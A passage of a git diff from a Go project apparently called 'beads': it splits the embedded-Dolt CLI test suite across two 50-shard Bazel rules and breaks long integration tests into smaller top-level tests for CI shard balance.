TestEmbeddedInitGitBootstrapRoutingDecoyInvalid +100 84 TestEmbeddedInitSelectedExcludeRoutingStealthInvalid + +100 85 TestEmbeddedBootstrapExistingDryRunInit +100 85 TestEmbeddedChildrenBasicAndEmpty +100 85 TestEmbeddedCreateGraphAndBulk +100 85 TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected +100 85 TestEmbeddedIfRevisionReopenGuardDirect +100 85 TestEmbeddedInitArtifactRouting + +100 86 TestEmbeddedExplicitHierarchicalParentEdges +100 86 TestEmbeddedInitHooksRouting + +100 87 TestEmbeddedCreateRepoProxiedTargetError +100 87 TestEmbeddedGateInheritsDownParentChain +100 87 TestEmbeddedReadyClaimConcurrent +100 87 TestEmbeddedState +100 87 TestEmbeddedSupersedeConcurrent +100 87 TestEmbeddedSwarmCreateForceAndErrors + +100 88 TestEmbeddedChangeDirOverridesInheritedBeadsDir +100 88 TestEmbeddedDepAAddAndList +100 88 TestEmbeddedKV +100 88 TestEmbeddedMaxRowsReadyMerge +100 88 TestEmbeddedPromoteCLI +100 88 TestEmbeddedUnclaimSuccess + +100 89 TestEmbeddedBackupConcurrent +100 89 TestEmbeddedCreateDryRunDoesNotMigrate +100 89 TestEmbeddedGateShowResolve +100 89 TestEmbeddedInitBStealthAndForceReinit +100 89 TestEmbeddedLabelEditReportsNoop +100 89 TestEmbeddedShowBasicsAndJSON + +100 90 TestEmbeddedAutoImportJSONLSkipsNonEmpty +100 90 TestEmbeddedConfig +100 90 TestEmbeddedFindDuplicatesConcurrent +100 90 TestEmbeddedLabelEditReportsListAndTemplate +100 90 TestEmbeddedLintConcurrent +100 90 TestEmbeddedUpdateLifecycleDefer +100 90 TestEmbeddedVersion + +100 91 TestEmbeddedDuplicate +100 91 TestEmbeddedPreviewDoesNotConsumeVersionMarker +100 91 TestEmbeddedPruneDryRunAndFilters +100 91 TestEmbeddedReadOnlyCommandsSpawnNoGit +100 91 TestEmbeddedShowUnresolvableDeps +100 91 TestEmbeddedTypesAgreeWithCreate + +100 92 TestEmbeddedAutoImportJSONLNoExplicitCommit +100 92 TestEmbeddedDefer +100 92 TestEmbeddedDepAAddTypesAndFlags +100 92 TestEmbeddedEpicCloseEligibleClosesEpics +100 92 TestEmbeddedSetup +100 92 TestEmbeddedSwarmStatusList + +100 93 TestEmbeddedCreateStorageClassBatchAndMisc +100 93 TestEmbeddedDeletePreviewAndGuards +100 93 TestEmbeddedDepBRemoveOutputAndRelatesTo +100 93 TestEmbeddedListConcurrent +100 93 TestEmbeddedPruneSafetyAndScope +100 93 TestEmbeddedShowDetailAndCurrentFlags + +100 94 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget +100 94 TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge +100 94 TestEmbeddedEpicCloseEligibleReasonOutput +100 94 TestEmbeddedFederationStatus +100 94 TestEmbeddedGCConcurrent +100 94 TestEmbeddedReadyDefaultJSONAndFlags + +100 95 TestEmbeddedChildrenJSONAndAllStatuses +100 95 TestEmbeddedFindDuplicates +100 95 TestEmbeddedImportClosedChildWhoseParentWasDeleted +100 95 TestEmbeddedInitConcurrent +100 95 TestEmbeddedQuick + +100 96 TestEmbeddedDiff +100 96 TestEmbeddedDuplicatesConcurrent +100 96 TestEmbeddedHistory +100 96 TestEmbeddedShowDetailAndCurrentHistoryAndCurrent +100 96 TestEmbeddedSquashWispMoleculeClearsRootEphemeral + +100 97 TestEmbeddedDuplicatesOwnWorkspaces +100 97 TestEmbeddedHumanPositionalFileAndGuards +100 97 TestEmbeddedPurgeBasics +100 97 TestEmbeddedQuietFlagSuppressesSuccessOutput +100 97 TestEmbeddedSearchStatusLimitSortDatesMetadata + +100 98 TestEmbeddedCloseBasicSharedStore +100 98 TestEmbeddedContributorCreateRoutesToPlanning +100 98 TestEmbeddedGCConditionalMatcherDecode +100 98 TestEmbeddedQuery +100 98 TestEmbeddedTodo + +100 99 TestEmbeddedBlockedLabelFilters +100 99 TestEmbeddedDoltRemoteAndPush +100 99 TestEmbeddedEpicStatus +100 99 TestEmbeddedInitSelectedExcludeRoutingForkDecoyAuto +100 99 TestEmbeddedSearchQueryStatusAssigneeLabels + +100 100 TestEmbeddedContributorCreateShowReadsRouted +100 100 TestEmbeddedCreateCrossRepo +100 100 TestEmbeddedInitGitBootstrapRoutingExistingExplicit +100 100 TestEmbeddedLint +100 100 TestEmbeddedPromoteCLIConcurrent diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index e434e70d3..9e24e688b 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1297,20 +1297,17 @@ jobs: # heaviest shard (scripts/ci/gen_embedded_storage_shard_manifest.py # --weights=duration --repack, on rbe-west measurements) stays near 110s, # under the ~150s per-shard budget with headroom for executor load; its - # heaviest single top-level test is ~90s. cmd (50) sits at Bazel's hard - # cap per sh_test-like rule ("Having more than 50 shards is indicative of - # poor test organization. Please reduce the number of shards." -- a - # native analysis-time error, not a style lint); on rbe-west its shards - # ran 83-209s (6.5k shard-seconds, 2026-10-09) until bdInit seeded each - # workspace from a per-process schema template and the race bd - # subprocesses stopped sleeping 1s at exit (~4.1-4.4k shard-seconds, - # slowest shard ~140-160s, its slowest single tests ~100-130s under - # load), so it, not storage or //internal/httpclient:httpclient_served_test, - # is still this lane's floor. Lowering it further needs per-test speedups - # in its slowest functions; more shards (splitting bd_embedded_test into - # multiple <=50-shard sh_test rules with shard-index-offset plumbing - # through tools/bazel/go_test_manifest_shard.sh and - # check_shard_coverage.py) would not move the slowest single test. On RBE the tier's wall time ~= that floor + # heaviest single top-level test is ~90s. cmd is a 100-shard block split + # over two targets, //cmd/bd:bd_embedded_test (shards 1-50) and + # //cmd/bd:bd_embedded_part2_test (51-100), because Bazel caps a rule at + # 50 shards ("Having more than 50 shards is indicative of poor test + # organization. Please reduce the number of shards." -- a native + # analysis-time error, not a style lint); the step below checks that + # the two ranges tile the block exactly once. After its slowest + # functions were split into smaller top-level tests, a cmd shard's wall + # time is its slowest test: ~45s median, and at most the *Concurrent + # stress tests' 65-145s (their bd subprocesses queue on one workspace's + # writer lock, so they cannot be split without changing what they test). On RBE the tier's wall time ~= that floor # + fixed cost (checkout, build, shard dispatch), not ~= # sum(durations)/shard_count the way a CPU-core-bound local sweep is -- # each shard is its own remote action and runs concurrently with every @@ -1397,7 +1394,8 @@ jobs: run: >- python3 tools/bazel/check_shard_coverage.py --bep "$RUNNER_TEMP/bazel-bep.json" - --suite //cmd/bd:bd_embedded_test .github/scripts/embedded-test-shard.sh 50 + --suite //cmd/bd:bd_embedded_test .github/scripts/embedded-test-shard.sh 50@0/100 + --suite //cmd/bd:bd_embedded_part2_test .github/scripts/embedded-test-shard.sh 50@50/100 --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 20 --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test diff --git a/BUILD.bazel b/BUILD.bazel index 69157bf54..134a91d1d 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -125,7 +125,8 @@ exports_files( # PR Risk's manifest-sharded tiers' shard scripts and their committed # manifests (embedded-Dolt cmd and storage, proxied-server cmd, server-Dolt -# storage). The variants (//cmd/bd:bd_embedded_test, //cmd/bd:bd_proxied_test, +# storage). The variants (//cmd/bd:bd_embedded_test and +# //cmd/bd:bd_embedded_part2_test, //cmd/bd:bd_proxied_test, # //internal/storage/embeddeddolt:embeddeddolt_embedded_test, # //internal/storage/dolt:dolt_server_full_test) run them through # tools/bazel/go_test_manifest_shard.sh, so each Bazel shard runs exactly the diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 00cf8b088..d808cbd5d 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1396,17 +1396,22 @@ go_test( }), ) -# Runs 50 Bazel shards against the TestEmbedded* functions of -# *_embedded_test.go, assigned by the manifest's 50-shard block -# (duration-balanced; see scripts/ci/embedded_cmd_test_durations.json), -# against this configuration's bd_test with BEADS_TEST_EMBEDDED_DOLT=1 and -# the race bd (//cmd/bd:bd under --config=embedded) as the subprocess -# binary. This is a *different* shard count from PR Risk's legacy fork/push -# jobs, "Test (Embedded Dolt Cmd N/20)" (pr-risk.yml): those keep -# running 20 shards of their own, frozen hand-assigned block in the same -# manifest file — shard k here is not the same split as their shard k. It -# repeats bd_test's `env` (the wrapper cannot inherit it). shard_count must -# stay equal to this lane's manifest block's shard total. +# bd_embedded_test and bd_embedded_part2_test run the TestEmbedded* functions +# of *_embedded_test.go between them: the manifest's 100-shard block +# (duration-balanced; see scripts/ci/embedded_cmd_test_durations.json) is +# more than Bazel's 50-shard cap per rule, so bd_embedded_test runs its +# shards 1-50 and bd_embedded_part2_test its shards 51-100 +# (go_test_manifest_shard.sh --shard-offset/--shard-total; bazel.yml's +# check_shard_coverage.py fails unless the two ranges tile the block exactly +# once). Both run this configuration's bd_test with +# BEADS_TEST_EMBEDDED_DOLT=1 and the race bd (//cmd/bd:bd under +# --config=embedded) as the subprocess binary. This is a *different* shard +# count from PR Risk's legacy fork/push jobs, "Test (Embedded Dolt Cmd +# N/20)" (pr-risk.yml): those keep running 20 shards of their own, frozen +# hand-assigned block in the same manifest file — shard k here is not the +# same split as their shard k. Each repeats bd_test's `env` (the wrapper +# cannot inherit it). The two shard_counts must sum to --shard-total, the +# manifest block's shard total. # # Tags: # embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, @@ -1422,6 +1427,8 @@ sh_test( timeout = "eternal", srcs = ["//tools/bazel:go_test_manifest_shard.sh"], args = [ + "--shard-offset=0", + "--shard-total=100", "$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", @@ -1454,6 +1461,44 @@ sh_test( tags = ["embedded"], ) +# Shards 51-100 of the manifest's 100-shard block; see bd_embedded_test. +# +# Tags: +# embedded: as bd_embedded_test. +sh_test( + name = "bd_embedded_part2_test", + size = "large", + # -test.timeout=19m and env: as bd_embedded_test. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "--shard-offset=50", + "--shard-total=100", + "$(rootpath //:.github/scripts/embedded-test-shard.sh)", + "BEADS_TEST_CMD_BINARY", + "$(rootpath :bd_test)", + "-test.timeout=19m", + ], + data = [ + ":bd", + ":bd_test", + ":go_srcs", + "//:.github/scripts/embedded-cmd-test-shards.txt", + "//:.github/scripts/embedded-test-shard.sh", + "//internal/storage/embeddeddolt/cmd:cmd_norace", + "@go_sdk//:bin/gofmt", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", + "BEADS_TEST_EMBEDDED_DOLT": "1", + "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + "GORACE": "atexit_sleep_ms=0", + }, + shard_count = 50, + tags = ["embedded"], +) + # Runs 34 Bazel shards against the TestProxiedServer*/TestServerMode* # functions, assigned by the manifest's 34-shard block (duration-balanced; # see scripts/ci/proxied_test_durations.json), against this configuration's diff --git a/cmd/bd/autocommit_embedded_test.go b/cmd/bd/autocommit_embedded_test.go index 1da1e4cc1..146c45889 100644 --- a/cmd/bd/autocommit_embedded_test.go +++ b/cmd/bd/autocommit_embedded_test.go @@ -191,7 +191,10 @@ Created while Dolt auto-commit is in batch mode. }) } -func TestEmbeddedRoutedSiblingWritesCommitTargetHead(t *testing.T) { +// TestEmbeddedRoutedSiblingWritesCommitTargetHead* each run one routed sibling +// write (comment, note, reopen) from the source rig and assert it commits on +// the target rig's head; one top-level test per write for CI shard balance. +func TestEmbeddedRoutedSiblingWritesCommitTargetHeadComment(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") } @@ -223,6 +226,15 @@ func TestEmbeddedRoutedSiblingWritesCommitTargetHead(t *testing.T) { t.Fatal("routed comment was not persisted in target store") } }) +} + +func TestEmbeddedRoutedSiblingWritesCommitTargetHeadNote(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("note", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "sn", "tn") @@ -241,6 +253,15 @@ func TestEmbeddedRoutedSiblingWritesCommitTargetHead(t *testing.T) { t.Fatalf("target notes = %q, want routed note", got.Notes) } }) +} + +func TestEmbeddedRoutedSiblingWritesCommitTargetHeadReopen(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("reopen", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "sr", "tr") @@ -262,21 +283,20 @@ func TestEmbeddedRoutedSiblingWritesCommitTargetHead(t *testing.T) { }) } -// TestEmbeddedRoutedMutatingSiblingWritesCommitTargetHead pins the rest of the -// prefix-routed mutating command surface to the same write-through contract as +// TestEmbeddedRoutedMutatingSibling* pin the rest of the prefix-routed +// mutating command surface to the same write-through contract as // comment/note/reopen above. These commands (the assign/tag shorthands plus // dep/delete/close) resolve a prefix-routed target through the write-intent // router and must commit on the target head, not fail "store is read-only" // (#4141). Each subtest creates the bead in the target rig, runs the command // from the source rig so resolution must route, and asserts both that the // target HEAD advanced and that the mutation persisted in the target store. -// TestEmbeddedRoutedMutatingSiblingAssignTagDep was split from -// TestEmbeddedRoutedMutatingSiblingWritesCommitTargetHead (originally -// ~245.22s, measured under --config=embedded) into 2 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedRoutedMutatingSiblingAssignTagDep(t *testing.T) { +// Each top-level test runs one subtest of the original +// TestEmbeddedRoutedMutatingSiblingWritesCommitTargetHead (later +// ...AssignTagDep and ...DeleteClose), for CI shard balance (see +// scripts/ci/embedded_cmd_test_durations.json): every original subtest is +// preserved exactly once. +func TestEmbeddedRoutedMutatingSiblingAssignTagDepAssign(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") } @@ -301,6 +321,15 @@ func TestEmbeddedRoutedMutatingSiblingAssignTagDep(t *testing.T) { t.Fatalf("target assignee = %q, want alice", got.Assignee) } }) +} + +func TestEmbeddedRoutedMutatingSiblingAssignTagDepTag(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("tag", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "stg", "ttg") @@ -319,6 +348,15 @@ func TestEmbeddedRoutedMutatingSiblingAssignTagDep(t *testing.T) { t.Fatalf("target labels = %v, want routed-label", labels[issue.ID]) } }) +} + +func TestEmbeddedRoutedMutatingSiblingAssignTagDepDepAdd(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("dep_add", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "sdp", "tdp") @@ -347,13 +385,7 @@ func TestEmbeddedRoutedMutatingSiblingAssignTagDep(t *testing.T) { }) } -// TestEmbeddedRoutedMutatingSiblingDeleteClose was split from -// TestEmbeddedRoutedMutatingSiblingWritesCommitTargetHead (originally -// ~245.22s, measured under --config=embedded) into 2 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedRoutedMutatingSiblingDeleteClose(t *testing.T) { +func TestEmbeddedRoutedMutatingSiblingDeleteCloseDelete(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") } @@ -374,6 +406,15 @@ func TestEmbeddedRoutedMutatingSiblingDeleteClose(t *testing.T) { t.Fatalf("routed delete did not remove %s from target store", issue.ID) } }) +} + +func TestEmbeddedRoutedMutatingSiblingDeleteCloseClose(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("close", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "scl", "tcl") diff --git a/cmd/bd/bootstrap_embedded_test.go b/cmd/bd/bootstrap_embedded_test.go index 41a028802..e4f32a01d 100644 --- a/cmd/bd/bootstrap_embedded_test.go +++ b/cmd/bd/bootstrap_embedded_test.go @@ -88,7 +88,7 @@ func TestBootstrapNoWorkspace(t *testing.T) { }) } -func TestEmbeddedBootstrap(t *testing.T) { +func TestEmbeddedBootstrapExistingDryRunInit(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -160,6 +160,15 @@ func TestEmbeddedBootstrap(t *testing.T) { t.Errorf("expected 'Created fresh database':\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) } }) +} + +func TestEmbeddedBootstrapJSONLAndGitOrigin(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // ===== JSONL Import ===== diff --git a/cmd/bd/children_embedded_test.go b/cmd/bd/children_embedded_test.go index 8e1b26851..d2dd4c4fc 100644 --- a/cmd/bd/children_embedded_test.go +++ b/cmd/bd/children_embedded_test.go @@ -26,7 +26,7 @@ func bdChildren(t *testing.T, bd, dir string, args ...string) string { return stdout.String() } -func TestEmbeddedChildren(t *testing.T) { +func TestEmbeddedChildrenBasicAndEmpty(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -51,6 +51,33 @@ func TestEmbeddedChildren(t *testing.T) { } }) + t.Run("children_empty", func(t *testing.T) { + parent := bdCreate(t, bd, dir, "No children parent", "--type", "task") + out := bdChildren(t, bd, dir, parent.ID) + // Should not error, may show empty message + _ = out + }) + + t.Run("children_nonexistent_parent", func(t *testing.T) { + cmd := exec.Command(bd, "children", "ch-nonexistent999") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + out, err := cmd.CombinedOutput() + if err == nil { + t.Fatalf("expected children of nonexistent to fail, got: %s", out) + } + }) +} + +func TestEmbeddedChildrenJSONAndAllStatuses(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "ch") + t.Run("children_json", func(t *testing.T) { parent := bdCreate(t, bd, dir, "JSON parent", "--type", "epic") child := bdCreate(t, bd, dir, "JSON child", "--type", "task") @@ -76,13 +103,6 @@ func TestEmbeddedChildren(t *testing.T) { } }) - t.Run("children_empty", func(t *testing.T) { - parent := bdCreate(t, bd, dir, "No children parent", "--type", "task") - out := bdChildren(t, bd, dir, parent.ID) - // Should not error, may show empty message - _ = out - }) - t.Run("children_includes_all_statuses", func(t *testing.T) { parent := bdCreate(t, bd, dir, "All status parent", "--type", "epic") openChild := bdCreate(t, bd, dir, "Open child", "--type", "task") @@ -99,16 +119,6 @@ func TestEmbeddedChildren(t *testing.T) { t.Errorf("expected closed child in output (--all implied): %s", out) } }) - - t.Run("children_nonexistent_parent", func(t *testing.T) { - cmd := exec.Command(bd, "children", "ch-nonexistent999") - cmd.Dir = dir - cmd.Env = bdEnv(dir) - out, err := cmd.CombinedOutput() - if err == nil { - t.Fatalf("expected children of nonexistent to fail, got: %s", out) - } - }) } // TestEmbeddedChildrenConcurrent exercises children listing concurrently. diff --git a/cmd/bd/close_embedded_test.go b/cmd/bd/close_embedded_test.go index 88ed651d1..2c87dbac0 100644 --- a/cmd/bd/close_embedded_test.go +++ b/cmd/bd/close_embedded_test.go @@ -58,11 +58,15 @@ func bdDepAdd(t *testing.T, bd, dir string, args ...string) { // ===== Close tests ===== -// TestEmbeddedCloseBasic was split from TestEmbeddedClose (originally ~404s, -// measured under --config=embedded) into 3 top-level tests over disjoint -// subtest groups, for CI shard balance (see scripts/ci/embedded_cmd_test_durations.json and -// engdocs/TESTING.md). Every original subtest is preserved exactly once. -func TestEmbeddedCloseBasic(t *testing.T) { +// The TestEmbeddedCloseBasic*, TestEmbeddedCloseGuardsAndEpics and +// TestEmbeddedCloseAlreadyClosed* tests were split from TestEmbeddedClose +// (originally ~404s, measured under --config=embedded) into top-level tests +// over disjoint subtest groups, for CI shard balance (see +// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every +// original subtest is preserved exactly once, in its original order within +// its group. Subtests that share a store stay in one test; the others each +// init their own isolated store. +func TestEmbeddedCloseBasicSharedStore(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -137,6 +141,15 @@ func TestEmbeddedCloseBasic(t *testing.T) { t.Errorf("blocked issue status = %s, want open", got.Status) } }) +} + +func TestEmbeddedCloseBasicIsolatedStores(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // The direct-route twin of TestProxiedClose/ // close_partial_failure_json_names_the_failed_ids. Two things were asserted @@ -391,12 +404,8 @@ func TestEmbeddedCloseGuardsAndEpics(t *testing.T) { } -// TestEmbeddedCloseAlreadyClosed was split from TestEmbeddedClose (originally -// ~404s, measured under --config=embedded) into 3 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedCloseAlreadyClosed(t *testing.T) { +// See TestEmbeddedCloseBasicSharedStore for the TestEmbeddedClose split. +func TestEmbeddedCloseAlreadyClosedMultipleIDs(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -457,6 +466,15 @@ func TestEmbeddedCloseAlreadyClosed(t *testing.T) { } } }) +} + +func TestEmbeddedCloseAlreadyClosedContinue(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("close_already_closed_continue_advances", func(t *testing.T) { // Isolated store so molecule progress and the Dolt commit count are @@ -527,6 +545,15 @@ func TestEmbeddedCloseAlreadyClosed(t *testing.T) { beforeCommits, afterCommits) } }) +} + +func TestEmbeddedCloseAlreadyClosedClaimNextAndMolecule(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("close_already_closed_claim_next", func(t *testing.T) { // Isolated store so the ready set is deterministic — the shared store carries diff --git a/cmd/bd/contributor_embedded_test.go b/cmd/bd/contributor_embedded_test.go index 71d31c0a5..8d58b24e1 100644 --- a/cmd/bd/contributor_embedded_test.go +++ b/cmd/bd/contributor_embedded_test.go @@ -13,11 +13,11 @@ import ( "github.com/steveyegge/beads/internal/storage/embeddeddolt" ) -// TestEmbeddedContributorCreate exercises the full contributor mode flow in +// The TestEmbeddedContributorCreate* tests exercise the full contributor mode flow in // embedded Dolt: init → contributor wizard → create. This is the exact // scenario that triggered GH#2988 ("no database selected" when the planning // repo's .beads directory has no metadata.json). -func TestEmbeddedContributorCreate(t *testing.T) { +func TestEmbeddedContributorCreateRoutesToPlanning(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt contributor tests") } @@ -46,6 +46,15 @@ func TestEmbeddedContributorCreate(t *testing.T) { projectBeadsDir := filepath.Join(dir, ".beads") assertIssueNotInStore(t, projectBeadsDir, "cr", issue.ID) }) +} + +func TestEmbeddedContributorCreateShowReadsRouted(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt contributor tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("show_reads_routed_issue", func(t *testing.T) { dir, _ := initContributor(t, bd, "sh") @@ -56,6 +65,15 @@ func TestEmbeddedContributorCreate(t *testing.T) { t.Errorf("title: got %q, want %q", shown.Title, "Show me") } }) +} + +func TestEmbeddedContributorCreateMultiple(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt contributor tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("multiple_creates_succeed", func(t *testing.T) { dir, planningDir := initContributor(t, bd, "mc") diff --git a/cmd/bd/delete_embedded_test.go b/cmd/bd/delete_embedded_test.go index 1ca59fead..5f224d21a 100644 --- a/cmd/bd/delete_embedded_test.go +++ b/cmd/bd/delete_embedded_test.go @@ -51,14 +51,22 @@ func bdShowFail(t *testing.T, bd, dir, id string) string { return string(out) } -func TestEmbeddedDelete(t *testing.T) { +// setupEmbeddedDelete is the TestEmbeddedDelete* tests' workspace (prefix td). +func setupEmbeddedDelete(t *testing.T) (string, string) { + t.Helper() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "td") + return bd, dir +} + +func TestEmbeddedDeleteBasic(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "td") + bd, dir := setupEmbeddedDelete(t) t.Run("delete_single_issue", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Delete me", "--type", "task") @@ -80,6 +88,19 @@ func TestEmbeddedDelete(t *testing.T) { } }) + t.Run("delete_nonexistent", func(t *testing.T) { + bdDeleteFail(t, bd, dir, "td-nonexistent999", "--force") + }) +} + +func TestEmbeddedDeletePreviewAndGuards(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedDelete(t) + t.Run("delete_without_force_shows_preview", func(t *testing.T) { target := bdCreate(t, bd, dir, "Lonely", "--type", "task") @@ -158,6 +179,15 @@ func TestEmbeddedDelete(t *testing.T) { t.Fatalf("forced dry-run removed dependent: got %v, want %q", got["id"], child.ID) } }) +} + +func TestEmbeddedDeleteForceAndBatch(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedDelete(t) t.Run("delete_force_orphans_dependents", func(t *testing.T) { parent := bdCreate(t, bd, dir, "Force parent", "--type", "task") @@ -183,10 +213,6 @@ func TestEmbeddedDelete(t *testing.T) { bdShowFail(t, bd, dir, issue2.ID) bdShowFail(t, bd, dir, issue3.ID) }) - - t.Run("delete_nonexistent", func(t *testing.T) { - bdDeleteFail(t, bd, dir, "td-nonexistent999", "--force") - }) } func TestEmbeddedDeleteJSONDependencyErrorContract(t *testing.T) { diff --git a/cmd/bd/dep_embedded_test.go b/cmd/bd/dep_embedded_test.go index 378afa7ec..187255af9 100644 --- a/cmd/bd/dep_embedded_test.go +++ b/cmd/bd/dep_embedded_test.go @@ -97,17 +97,18 @@ func bdDepWithInputFail(t *testing.T, bd, dir, input string, args ...string) str return string(out) } -// TestEmbeddedDepA and TestEmbeddedDepB were split from TestEmbeddedDep -// (originally ~317s, measured under --config=embedded) into 2 top-level -// tests over disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. The "list_*" subtests (which assert on -// dependencies 